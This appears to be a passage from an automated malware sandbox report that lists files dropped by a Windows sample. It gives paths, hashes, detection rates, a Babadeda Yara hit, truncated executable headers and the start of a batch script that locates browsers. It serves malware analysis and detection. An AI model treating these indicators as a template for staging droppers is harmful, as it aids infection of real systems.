Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1917952
Entropy (8bit):	7.948026200329907
Encrypted:	false
SSDEEP:	24576:RElNTG6/o3vvElD5qE4szbidPEUDk8TxtMcWVmzJgGKkqcgUQlqL46gipvOn9C+v:yNMWDgCU48TxmVDcYlY4Bn8ajgZ
MD5:	8707B0635775BBE157B0210B51D80C0F
SHA1:	34B46C087C060B653E81A1EADF3B448604D9B683
SHA-256:	070E66A9A8249C69170AED81733640A69ED924B838477D6383F37E6CC1430CCD
SHA-512:	70C91BBD9216CB85F8FA84FABFC0DC2994953EFE69FBBF40872BC8FA555DCAED4D87ECC673A2D58A9A17D744ADF3F15029417A9114B4DD46AE4903E560194E25
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....@.f............................. L...........@..........................PL......y....@.................................W...k.............................L.............................L.L..................................................... . ............................@....rsrc...............................@....idata ............................@... .0+.........................@...lsmjcynp.0....1..*..................@...bndcrfma......L.....................@....taggant.0... L.."..."..............@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\softokn3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\vcruntime140[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\enter[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1878528
Entropy (8bit):	7.947761453573232
Encrypted:	false
SSDEEP:	49152:k7FXgGgW5JEKR/99GAdrdKZWILQ5qDjVN:kXQWkK9HFYpQ5qD/
MD5:	6F59CE88B52487BBA7EB59E81525C4F5
SHA1:	83BB1ABC3BD3B56BEC0A68D6CD0DF63BCF975AD6
SHA-256:	6DD3D6081F01C1FB88B36ECD336005AB3571876BE404EFE416A7248866868191
SHA-512:	985853C822CD92EE4A1F2A04EB63EE4E6692F23144683CF40E5A402E7A81B951ACB1D489C0E5292C0B78AAB99787F89DABCAEC5B25975F706F52C01601293860
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....A.f.............................PJ...........@...........................J.....&,....@.................................W...k............................/J...............................J..................................................... . ............................@....rsrc...............................@....idata ............................@... ..).........................@...lddzjshm......0.....................@...ytmlykrz.....@J.....................@....taggant.0...PJ.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	256512
Entropy (8bit):	6.1324340359285205
Encrypted:	false
SSDEEP:	3072:GHXfJmQUzlOCTqUG6n3EK37jiknZyKmvThlv8PU6PR4+LhAm+P3cQuT2:UPJmQUzlxaKrPyKZ/KrsQuT
MD5:	278D770F363DA10C7F7EB1A9C653CCF0
SHA1:	EC9750E81D7B55B67D774A6DB510478658C90D3E
SHA-256:	E188132C1D115A2F78C5DA36D56F178F1A6586106B62341C4F942993512ABEEC
SHA-512:	346E56DB7B0039D19D766B9BA81A78DB05F1BD5EA8C38EFBC6B2DD52BB3C9BE4FAF39825C41CE0DCB1CD7D5225FDDC40CA68D34574D8322820070E69C4489B80
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Babadeda, Description: Yara detected Babadeda, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 46%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........}............j}.....jH.....j\|.....dE...........jy.....jL.....jK....Rich...................PE..L...7..e............................\ .......0....@..........................p...............................................X..d....................................Y...............................S..@............0...............................text............................... ..`.rdata..X2...0...4..................@..@.data........p.......P..............@....rsrc...............................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	91648
Entropy (8bit):	6.752989414606893
Encrypted:	false
SSDEEP:	1536:L7fPGykbOqjoHm4pICdfkLtAfupcWX50MxFY+yIOlnToIfBxN9OHOq:Hq6+ouCpk2mpcWJ0r+QNTBfBvc
MD5:	CF96C7B65A488315A06387268BE0014C
SHA1:	2F6258D1D16A61176AC6CFE12AD73B4DE0BB446C
SHA-256:	9BADAD65FE70D1CA30DDDD43EB7F2250F9840AB518430B7D5F40059CC32B208E
SHA-512:	F871D65C0D835AAF57C2D23FEB39B384EDFD2473EACCAEBC66B2CEABD291C810D7473659C818EB5014D85982D819A29D686CD62847A81C2C1E46F1049C78E31A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...b.@]...............2.....V...............0....@.........................................................................\|q......................................................................................pt..,............................code....7.......8.................. ..`.text........P.......<.............. ..`.rdata...3...0...4..................@..@.data...,....p.......D..............@....rsrc................V..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Download File

Process:	C:\Users\user\Desktop\JGKjBsQrMc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1878528
Entropy (8bit):	7.947761453573232
Encrypted:	false
SSDEEP:	49152:k7FXgGgW5JEKR/99GAdrdKZWILQ5qDjVN:kXQWkK9HFYpQ5qD/
MD5:	6F59CE88B52487BBA7EB59E81525C4F5
SHA1:	83BB1ABC3BD3B56BEC0A68D6CD0DF63BCF975AD6
SHA-256:	6DD3D6081F01C1FB88B36ECD336005AB3571876BE404EFE416A7248866868191
SHA-512:	985853C822CD92EE4A1F2A04EB63EE4E6692F23144683CF40E5A402E7A81B951ACB1D489C0E5292C0B78AAB99787F89DABCAEC5B25975F706F52C01601293860
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....A.f.............................PJ...........@...........................J.....&,....@.................................W...k............................/J...............................J..................................................... . ............................@....rsrc...............................@....idata ............................@... ..).........................@...lddzjshm......0.....................@...ytmlykrz.....@J.....................@....taggant.0...PJ.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\JGKjBsQrMc.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	256512
Entropy (8bit):	6.1324340359285205
Encrypted:	false
SSDEEP:	3072:GHXfJmQUzlOCTqUG6n3EK37jiknZyKmvThlv8PU6PR4+LhAm+P3cQuT2:UPJmQUzlxaKrPyKZ/KrsQuT
MD5:	278D770F363DA10C7F7EB1A9C653CCF0
SHA1:	EC9750E81D7B55B67D774A6DB510478658C90D3E
SHA-256:	E188132C1D115A2F78C5DA36D56F178F1A6586106B62341C4F942993512ABEEC
SHA-512:	346E56DB7B0039D19D766B9BA81A78DB05F1BD5EA8C38EFBC6B2DD52BB3C9BE4FAF39825C41CE0DCB1CD7D5225FDDC40CA68D34574D8322820070E69C4489B80
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 46%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........}............j}.....jH.....j\|.....dE...........jy.....jL.....jK....Rich...................PE..L...7..e............................\ .......0....@..........................p...............................................X..d....................................Y...............................S..@............0...............................text............................... ..`.rdata..X2...0...4..................@..@.data........p.......P..............@....rsrc...............................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\11c631d0-cde6-48b9-adcb-5cb9a428aa99.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	31335
Entropy (8bit):	7.694019108205432
Encrypted:	false
SSDEEP:	768:514ugFV0910SWyR5kNVdS3sNp/xm3MbiMuYEDlyFUyv6E/ty8:5WcDWyRKNVd2M/IxMuYEDlymsTQ8
MD5:	6B72597205C77D3E40E1A35BEE403801
SHA1:	6BECEE055C6E057AF9475B6D651B4EE561D02F20
SHA-256:	C899297FBDFC88C1634B1145A087FDB5BE17172FD786C078B299557B22F06DEB
SHA-512:	7CB1A98E0C7FBB349D9CB681233A9F4ED22A1C3FAADCDF1BC270B04BD97D3FC41AB6F762B2F5F231281D63D96AC3D243640BA81D5E8CCD9F54486B4F538CA8B4
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\477b140c-8584-4c86-b768-41e884ec4a80.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\575aacfa-bdbd-476d-9d0f-44f483ec3000.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\738B.tmp\738C.tmp\738D.bat

Download File

Process:	C:\Users\user\1000003002\e0dbbf79bf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2821
Entropy (8bit):	4.949249124498804
Encrypted:	false
SSDEEP:	48:Nd27V5rN81fN80XUbaOUb5OzQ/iqzQ/hXDTjODAKpxVgXDOev0W:j6rrN81fN80Ebanb5OzQ/iqzQ/hTTj+y
MD5:	DE9423D9C334BA3DBA7DC874AA7DBC28
SHA1:	BF38B137B8D780B3D6D62AEE03C9D3F73770D638
SHA-256:	A1E1B422C40FB611A50D3F8BF34F9819F76DDB304AA2D105FB49F41F57752698
SHA-512:	63F13ACD904378AD7DE22053E1087D61A70341F1891ADA3B671223FEC8F841B42B6F1060A4B18C8BB865EE4CD071CADC7FF6BD6D549760945BF1645A1086F401
Malicious:	false
Preview:	@shift /0..@echo off..setlocal....set "URL=https://www.youtube.com/account"....rem Initialize paths..set "chromePath="..set "edgePath="..set "firefoxPath="....rem Hardcoded paths..set "ProgramFiles64=C:\Program Files"..set "ProgramFiles86=C:\Program Files (x86)"....rem Check for Chrome in 64-bit system directory..if exist "%ProgramFiles64%\Google\Chrome\Application\chrome.exe" (.. set "chromePath=%ProgramFiles64%\Google\Chrome\Application\chrome.exe".. goto check_edge..)....rem Check for Chrome in 32-bit system directory..if exist "%ProgramFiles86%\Google\Chrome\Application\chrome.exe" (.. set "chromePath=%ProgramFiles86%\Google\Chrome\Application\chrome.exe".. goto check_edge..)....rem Check for Chrome in user profiles..for /d %%u in ("%SystemDrive%\Users\*") do (.. if exist "%%u\AppData\Local\Google\Chrome\Application\chrome.exe" (.. set "chromePath=%%u\AppData\Local\Google\Chrome\Application\chrome.exe".. goto check_edge.. )..)....:check_edge....rem C

C:\Users\user\AppData\Local\Temp\B8C2.tmp\B8C3.tmp\B8F3.bat

Download File

Process:	C:\Users\user\1000003002\e0dbbf79bf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2821
Entropy (8bit):	4.949249124498804
Encrypted:	false
SSDEEP:	48:Nd27V5rN81fN80XUbaOUb5OzQ/iqzQ/hXDTjODAKpxVgXDOev0W:j6rrN81fN80Ebanb5OzQ/iqzQ/hTTj+y
MD5:	DE9423D9C334BA3DBA7DC874AA7DBC28
SHA1:	BF38B137B8D780B3D6D62AEE03C9D3F73770D638
SHA-256:	A1E1B422C40FB611A50D3F8BF34F9819F76DDB304AA2D105FB49F41F57752698
SHA-512:	63F13ACD904378AD7DE22053E1087D61A70341F1891ADA3B671223FEC8F841B42B6F1060A4B18C8BB865EE4CD071CADC7FF6BD6D549760945BF1645A1086F401
Malicious:	false
Preview:	@shift /0..@echo off..setlocal....set "URL=https://www.youtube.com/account"....rem Initialize paths..set "chromePath="..set "edgePath="..set "firefoxPath="....rem Hardcoded paths..set "ProgramFiles64=C:\Program Files"..set "ProgramFiles86=C:\Program Files (x86)"....rem Check for Chrome in 64-bit system directory..if exist "%ProgramFiles64%\Google\Chrome\Application\chrome.exe" (.. set "chromePath=%ProgramFiles64%\Google\Chrome\Application\chrome.exe".. goto check_edge..)....rem Check for Chrome in 32-bit system directory..if exist "%ProgramFiles86%\Google\Chrome\Application\chrome.exe" (.. set "chromePath=%ProgramFiles86%\Google\Chrome\Application\chrome.exe".. goto check_edge..)....rem Check for Chrome in user profiles..for /d %%u in ("%SystemDrive%\Users\*") do (.. if exist "%%u\AppData\Local\Google\Chrome\Application\chrome.exe" (.. set "chromePath=%%u\AppData\Local\Google\Chrome\Application\chrome.exe".. goto check_edge.. )..)....:check_edge....rem C

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1420
Entropy (8bit):	5.414840381322406
Encrypted:	false
SSDEEP:	24:YK0bl5r75riCe0qW+5Ua02EHP5IKL0jZ5JwbX/B+L07hmz5oh8tL07h4045M:YK0bl5r75riN0qW+5Ua02sP5IKL0jZ5Y
MD5:	54BC782F96119D3E0EE9F46A04F5A652
SHA1:	630638C6AA99E03B8D2F8B591A24BDCF6B331407
SHA-256:	FA07C3C3E489A0C26118D4DE6D0B125CB6C07A4AE8924BB6713E0FAD765E942D
SHA-512:	038A70F3A1A3E4C09A51B54E62338381A14977B5B757A224E2971A1938E24B549783BB5BF4A68DE0A66A8FC7A606B912ADE2EC44DFA6DE8D7CE3E18734579316
Malicious:	false
Preview:	{"logTime": "1005/074019", "correlationVector":"Jzai6BfByv5amZ45/NBe5r","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/074027", "correlationVector":"eO8FwRQNRwFtIUhPNa0yBN","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/074027", "correlationVector":"DFCC0B139A2547CAA3433B33892C7FE6","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075031", "correlationVector":"bWXPYvVSVVANvrGBV6dHxn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075032", "correlationVector":"4CD8E3A1D096444AAB77DA6A690C4356","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075123", "correlationVector":"t3DmiSvoNTibe+/mLDIMfl","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075124", "correlationVector":"B2B504519464422FA5C6E610072CF270","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075313", "correlationVector":"/q9eTq3f/ZawbQrLDVWKju","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075314", "correlationVector":"138D0C7D

C:\Users\user\AppData\Local\Temp\d17739a7-9366-425e-bff2-655805bc76f2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135751
Entropy (8bit):	7.804610863392373
Encrypted:	false
SSDEEP:	1536:h+OX7O5AeBWdSq2Zso2iDNjF3dNUPOTy61NVo8OJXhQXXUWFMOiiBIHWI7YyjM/8:pVdSj9hjVn6Oj5fOJR+k0iiW2IPMaIul
MD5:	83EF25FBEE6866A64F09323BFE1536E0
SHA1:	24E8BD033CD15E3CF4F4FF4C8123E1868544AC65
SHA-256:	F421D74829F2923FD9E5A06153E4E42DB011824C33475E564B17091598996E6F
SHA-512:	C699D1C9649977731EEA0CB4740C4BEAACEEC82AECC43F9F2B1E5625C487C0BC45FA08A1152A35EFBDB3DB73B8AF3625206315D1F9645A24E1969316F9F5B38C
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[..........1...c@e.J.~..A...(9=...I.N.e..T......6.7...Kk?....]<.S(.....9}........$..6...:...9..b\|B..8..I..7.8K\.KIn7.:.!^;.H........8.....,.\....b..uC...e?..E.U.........P..G..u!+......C.)Kw...............4..Qye..=$..Q.......?Oi.,O.RW6.k.+.&. .wu..tf....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E. ..r.....p..~..3.1.vD.i.]...~...!...<..4KV.~y.).`........>E.NT.%1".%............o.....J._.H.B..w..C......UU.&C..fB&..\|..i..J......I.??^.Z.....Y....0^......?...o.....O.~......W.....~.......R..z.Ma...u]....-.n....2s<....E..6.<..W.H.qh....:j.y...N.D.]Nj....../..a...{....g.....f).~._....1q..L..#.G...Q.w...J."

C:\Users\user\AppData\Local\Temp\efc0e1dc-0b52-4ea0-b6f5-77d3771d513a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Local\Temp\scoped_dir1340_194821102\575aacfa-bdbd-476d-9d0f-44f483ec3000.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
